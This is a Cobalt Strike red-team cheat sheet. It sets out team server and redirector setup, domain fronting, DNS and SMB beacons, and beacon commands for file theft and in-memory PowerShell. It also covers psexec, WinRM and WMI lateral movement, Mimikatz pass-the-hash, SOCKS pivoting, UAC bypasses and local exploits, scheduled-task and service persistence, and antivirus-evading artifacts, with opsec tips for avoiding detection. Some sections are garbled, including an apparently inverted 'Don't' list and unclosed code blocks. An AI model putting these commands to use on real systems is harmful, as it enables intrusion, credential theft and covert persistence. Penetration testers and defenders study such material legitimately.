# Cobalt Strike
> Cobalt Strike is threat emulation software. Red teams and penetration testers use Cobalt Strike to demonstrate the risk of a breach and evaluate mature security programs. Cobalt Strike exploits network vulnerabilities, launches spear phishing campaigns, hosts web drive-by attacks, and generates malware infected files from a powerful graphical user interface that encourages collaboration and reports all activity.
```powershell
$ sudo apt-get update
$ sudo apt-get install openjdk-11-jdk
$ sudo apt install proxychains socat
$ sudo update-java-alternatives -s java-1.11.0-openjdk-amd64
$ sudo ./teamserver 10.10.10.10 "password" [malleable C2 profile]
$ ./cobaltstrike

## Infrastructure
### Redirectors
```powershell
sudo apt install socat
socat TCP4-LISTEN:80,fork TCP4:[TEAM SERVER]:80
```
### Domain Fronting
* New Listener > HTTP Host Header
* Target Finance & Healthcare domains
### OpSec
**Don't**
* Change default self-signed HTTPS certificate
* Change default port (50050)
* 0.0.0.0 DNS response
* Metasploit compatibility, ask for a payload : `wget -U "Internet Explorer" http://127.0.0.1/vl6D`
**Do**
* Use a redirector (Apache, CDN, ...)
* Firewall to only accept HTTP/S from the redirectors
* Firewall 50050 and access via SSH tunnel
* Edit default HTTP 404 page and Content type: text/plain
* No staging `set hosts_stage` to `false` in Malleable C2
## Payload
### DNS Beacon
* Edit the Zone File for the domain
* Create an A record for Cobalt Strike system
* Create an NS record that points to FQDN of your Cobalt Strike system
Your Cobalt Strike team server system must be authoritative for the domains you specify. Create a DNS A record and point it to your Cobalt Strike team server. Use DNS NS records to delegate several domains or sub-domains to your Cobalt Strike team server's A record.
* nslookup jibberish.beacon polling.campaigns.domain.com
* nslookup jibberish.beacon campaigns.domain.com
Example of DNS on Digital Ocean:
```powershell
NS example.com directs to 10.10.10.10. 86400
NS polling.campaigns.example.com directs to campaigns.example.com. 3600
A campaigns.example.com directs to 10.10.10.10 3600
```
```powershell
systemctl disable systemd-resolved
systemctl stop systemd-resolved
rm /etc/resolv.conf
echo "nameserver 8.8.8.8" > /etc/resolv.conf
echo "nameserver 8.8.4.4" >> /etc/resolv.conf
```
Configuration:
1. **host**: campaigns.domain.com
2. **beacon**: polling.campaigns.domain.com
3. Interact with a beacon, and `sleep 0`
### SMB Beacon
Uses Named Pipes.
Connect to an SMB Beacon : `link [host] [pipe]`
### Metasploit compatibility
* Payload: windows/meterpreter/reverse_http or windows/meterpreter/reverse_https
* Set LHOST and LPORT to the beacon
* Set DisablePayloadHandler to True
* Set PrependMigrate to True
* exploit -j
### Custom Payloads
https://ired.team/offensive-security/code-execution/using-msbuild-to-execute-shellcode-in-c
```powershell

* Attacks > Packages > Scripted Web Delivery (S)

## Files
```powershell
# List the file on the specified directory
beacon > ls <C:\Path>
# Change into the specified working directory
beacon > cd [directory]
# Delete a file\folder
beacon > rm [file\folder]
# File copy
beacon > cp [src] [dest]
# Download a file from the path on the Beacon host
beacon > download [C:\filePath]
# Lists downloads in progress
beacon > downloads
# Cancel a download currently in progress
beacon > cancel [*file*]
# Upload a file from the attacker to the current Beacon host
beacon > upload [/path/to/file]
```
## Powershell .NET
```powershell
# Import a Powershell .ps1 script from the control server and save it in memory in Beacon
beacon > powershell-import [/path/to/script.ps1]
# Setup a local TCP server bound to localhost and download the script imported from above using powershell.exe. Then the specified function and any arguments are executed and output is returned.
beacon > powershell [commandlet][arguments]
# Launch the given function using Unmanaged Powershell, which does not start powershell.exe. The program used is set by spawnto
beacon > powerpick [commandlet] [argument]
# Inject Unmanaged Powershell into a specific process and execute the specified command. This is useful for long-running Powershell jobs
beacon > psinject [pid][arch] [commandlet] [arguments]
# Run a local .NET executable as a Beacon post-exploitation job
beacon > execute-assembly [/path/to/script.exe] [arguments]

## Lateral Movement
:warning: All the commands launch powershell.exe
```powershell
Beacon Remote Exploits
======================
jump [module] [target] [listener]
psexec x86 Use a service to run a Service EXE artifact
psexec64 x64 Use a service to run a Service EXE artifact
psexec_psh x86 Use a service to run a PowerShell one-liner
winrm x86 Run a PowerShell script via WinRM
winrm64 x64 Run a PowerShell script via WinRM
Beacon Remote Execute Methods
=============================
remote-exec [module] [target] [command]
Methods Description
------- -----------
psexec Remote execute via Service Control Manager
winrm Remote execute via WinRM (PowerShell)
wmi Remote execute via WMI (PowerShell)
```
Opsec safe Pass-the-Hash:
1. `mimikatz sekurlsa::pth /user:xxx /domain:xxx /ntlm:xxxx /run:"powershell -w hidden"`
2. `steal_token PID`
### Assume Control of Artifact
* Use `link` to connect to SMB Beacon
* Use `connect` to connect to TCP Beacon
## VPN & Pivots
:warning: Covert VPN doesn't work with W10, and requires Administrator access to deploy.
> Use socks 8080 to setup a SOCKS4a proxy server on port 8080 (or any other port you choose). This will setup a SOCKS proxy server to tunnel traffic through Beacon. Beacon's sleep time adds latency to any traffic you tunnel through it. Use sleep 0 to make Beacon check-in several times a second.
```powershell
# Start a SOCKS server on the given port on your teamserver, tunneling traffic through the specified Beacon. Set the teamserver/port configuration in /etc/proxychains.conf for easy usage.
beacon > socks [PORT]
# Proxy browser traffic through a specified Internet Explorer process.
beacon > browserpivot [pid] [x86|x64]
# Bind to the specified port on the Beacon host, and forward any incoming connections to the forwarded host and port.
beacon > rportfwd [bind port] [forward host] [forward port]
```
## Kits
### Elevate Kit
UAC Token Duplication : Fixed in Windows 10 Red Stone 5 (October 2018)
```powershell

Exploit Description
------- -----------
ms14-058 TrackPopupMenu Win32k NULL Pointer Dereference (CVE-2014-4113)
ms15-051 Windows ClientCopyImage Win32k Exploit (CVE 2015-1701)
ms16-016 mrxdav.sys WebDav Local Privilege Escalation (CVE 2016-0051)
svc-exe Get SYSTEM via an executable run as a service
uac-schtasks Bypass UAC with schtasks.exe (via SilentCleanup)
uac-token-duplication Bypass UAC with Token Duplication
```
### Persistence Kit
* https://github.com/0xthirteen/MoveKit
* https://github.com/fireeye/SharPersist
```powershell
# List persistences
SharPersist -t schtaskbackdoor -m list
SharPersist -t startupfolder -m list
SharPersist -t schtask -m list
# Add a persistence
SharPersist -t schtaskbackdoor -c "C:\Windows\System32\cmd.exe" -a "/c calc.exe" -n "Something Cool" -m add
SharPersist -t schtaskbackdoor -n "Something Cool" -m remove
SharPersist -t service -c "C:\Windows\System32\cmd.exe" -a "/c calc.exe" -n "Some Service" -m add
SharPersist -t service -n "Some Service" -m remove
SharPersist -t schtask -c "C:\Windows\System32\cmd.exe" -a "/c calc.exe" -n "Some Task" -m add
SharPersist -t schtask -c "C:\Windows\System32\cmd.exe" -a "/c calc.exe" -n "Some Task" -m add -o hourly
SharPersist -t schtask -n "Some Task" -m remove
```
### Resource Kit
> The Resource Kit is Cobalt Strike's means to change the HTA, PowerShell, Python, VBA, and VBS script templates Cobalt Strike uses in its workflows
### Artifact Kit
> Cobalt Strike uses the Artifact Kit to generate its executables and DLLs. The Artifact Kit is a source code framework to build executables and DLLs that evade some anti-virus products. The Artifact Kit build script creates a folder with template artifacts for each Artifact Kit technique. To use a technique with Cobalt Strike, go to Cobalt Strike -> Script Manager, and load the artifact.cna script from that technique's folder.
